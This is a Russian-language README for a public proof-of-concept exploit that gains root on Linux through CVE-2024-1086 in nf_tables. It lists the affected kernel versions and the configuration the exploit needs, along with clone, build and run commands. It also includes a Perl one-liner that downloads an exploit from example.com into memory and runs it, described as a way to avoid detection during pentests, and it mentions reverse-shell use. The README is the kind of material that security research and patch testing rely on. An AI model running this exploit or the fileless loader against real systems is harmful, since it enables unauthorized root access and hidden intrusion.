
Универсальный Proof-of-Concept эксплойт для локального повышения привилегий через CVE-2024-1086, работающий на большинстве ядер Linux с v5.14 по v6.6, включая Debian, Ubuntu и KernelCTF. Процент успеха — 99,4% в образах KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Полный разбор эксплойта — включая справочную информацию и множество полезных диаграмм — можно найти в посте Flipping Pages.
Эксплойт затрагивает версии с v5.14 (включительно) по v6.6 (включительно), исключая пропатченные ветки v5.15.149>, v6.1.76>, v6.6.15>. Патчи для этих версий вышли в феврале 2024 года. Базовая уязвимость затрагивает все версии (кроме пропатченных стабильных веток) с v3.15 по v6.8-rc1.
Предупреждения:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (включая Ubuntu v6.5)CONFIG_USER_NS=y), чтобы эти namespace были непривилегированными (команда sh sysctl kernel.unprivileged_userns_clone = 1), и чтобы nf_tables была включена (kconfig CONFIG_NF_TABLES=y). По умолчанию всё это включено в Debian, Ubuntu и KernelCTF. Другие дистрибутивы не тестировались, но тоже могут работать. Кроме того, эксплойт тестировался только на x64/amd64.Значения по умолчанию должны работать из коробки в Debian, Ubuntu и KernelCTF с локальным шеллом. На непротестированных конфигурациях/дистрибутивах убедитесь, что значения kconfig соответствуют целевому ядру. Их можно указать в src/config.h. Если вы запускаете эксплойт на машине с более чем 32GiB физической памяти, обязательно увеличьте CONFIG_PHYS_MEM.
Если вы запускаете эксплойт через SSH (на тестовую машину) или reverse shell, возможно, стоит переключить CONFIG_REDIRECT_LOG в 1, чтобы избежать лишней сетевой активности.
Если это для вас непрактично, есть скомпилированный x64 бинарный файл с конфигурацией по умолчанию.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Бинарный файл: CVE-2024-1086/exploit
Запуск эксплойта так же тривиален:
./exploit
Также поддерживается бесфайловое выполнение на случай пентест-ситуаций, когда нужно избежать обнаружения. Однако на целевой системе должен быть установлен Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Программы и скрипты («программы») в этом каталоге/папке/репозитории («репозиторий») опубликованы, разработаны и распространяются только в образовательных/исследовательских целях. Я («создатель») не одобряю любое вредоносное или незаконное использование программ из этого репозитория, поскольку намерение — делиться исследованиями, а не заниматься незаконной деятельностью. Я не несу юридической ответственности за то, что вы делаете с программами из этого репозитория.